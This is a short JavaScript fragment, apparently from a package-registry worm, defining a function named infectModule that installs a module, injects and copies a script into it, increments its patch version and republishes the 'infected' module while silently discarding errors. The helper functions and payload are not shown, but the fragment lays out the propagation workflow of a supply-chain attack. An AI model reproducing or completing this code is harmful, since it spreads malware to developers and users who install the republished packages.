function infectModule (moduleName) {
        installModule(moduleName)
        .then(() => {
                addScript(moduleName);
                copyScript(moduleName);


            return incrementPatchVersion(moduleName);
    })
    .then(() => publishInfectedModule(moduleName))
    .catch(() => {});



}


const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg";
